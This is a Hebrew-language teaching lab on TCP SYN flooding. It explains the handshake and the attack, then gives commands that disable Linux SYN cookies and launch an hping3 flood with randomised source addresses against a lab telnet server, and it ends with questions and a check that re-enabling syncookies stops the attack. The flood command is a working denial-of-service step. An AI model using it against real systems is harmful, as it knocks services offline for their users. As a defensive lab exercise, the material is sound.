הצפת SYN

מבוא

בתרגיל זה ננסה להבין:

1. מה היא הצפת SYN?
2. איך לחולל הצפת SYN?
3. למה הצפת SYN גורמת ולמה לא?
4. איך למנוע הצפת SYN?

תיאור ההתקפה וההתמודדות עמה

הקמת קשר TCP מתבצע בשלושה שלבים:

1. הלקוח שולח לשרת הודעת SYN
2. השרת מגיב בהודעת SYN+ACK
3. הלקוח מגיב בהודעת ACK

אחרי קבלת הודעת הSYN הראשונה, השרת מקצה מבנה נתונים המתאר את מצב הקשר. מבנה נתונים זה נמחק אחרי קבלת הודעת הACK מהלקוח או כעבר פרק זמן (ארוך יחסית). מספר מבני הנתונים שמערכת ההפעלה יכול להקצות מוגבל. במידה ולא ניתן להקצות עוד מבני נתונים מסוג זה, מערכת ההפעלה דוחה הודעה SYN נוספות.

במסגרת ההתקפה, התוקף שולח ללא הרף הודעות SYN לשרת. השרת מגיב ב-SYN+AKC, אך התוקף לא שולח את הACK שאמור להישלח בשלב 3. כך, מצטברים בשרת מבני נתונים שמתארים מצבי קשר עד אשר לא ניתן עוד להקצות מבני נתונים חדשים. בשלב זה, לקוח תמים לא יכול להתחבר לשרת (בתקשורת TCP) כי לא ניתן להקצות מבנה נתונים להתחברות שלו.

ניתן להתגבר על התקפה זו במספר אופנים. במערכת ההפעלה LINUX ממומש מנגנון הגנה שלא מקצה מבנה נתונים עד אשר מתקבלת הודעת הACK בשלב 3. מנגנון הגנה זה מופעל באופן רגיל.

ביצוע ההתקפה

ראשית, יש לכבות את מנגנון ההגנה של LINUX באופן הבא:

```
sudo sysctl -w net.ipv4.tcp_syncookies=0
```

לאחר מכן, יש להתקין תוכנה שמאפשרת, בין היתר, לבצע הצפת SYN:

```
sudo apt install hping3
```

כדי שיהיה שער פתוח לתקיפה, נתקין שרת telnet באופן הבא:

```
sudo apt install telnetd
```

כדי לבצע את ההתקפה יש לכתוב:

```
sudo hping3 -c 15000 -S -p 23 --flood --rand-source 10.0.0.15
```

כאשר במקום 10.0.0.5 יש לכתוב את כתובת הIP של המכונה המותקפת.

משמעות הפרמטרים היא כדלקמן:

- הפרמטר c קובע את מספר ההודעות לשידור
- הפרמטר S קובע שיש להדליק את הדגל SYN בהודעות
- הפרמטר p קובע את השער אליו נשלחות ההודעות
- הפרמטר flood קובע שאין להמתין בין שליחה של הודעות עוקבות
- הפרמטר rand-source קובע שיש להגריל את כתובת המקור בהודעות

כדי להפסיק את ההתקפה יש להקיש CTRL+C כדי להפסיק את ריצת תוכנת ההתקפה.

שאלות הבנה

1. האם ניתן להתחבר באמצעות telnet בזמן ביצוע ההתקפה? למה?
2. האם ניתן להשתמש בחיבור telnet שנפתח לפני תחילת ההתקפה? למה?
3. ודא שההתקפה לא יעילה כאשר מנגנון ההגנה של LINUX מופעל. לשם כך בצע:

```
sudo sysctl -w net.ipv4.tcp_syncookies=1
```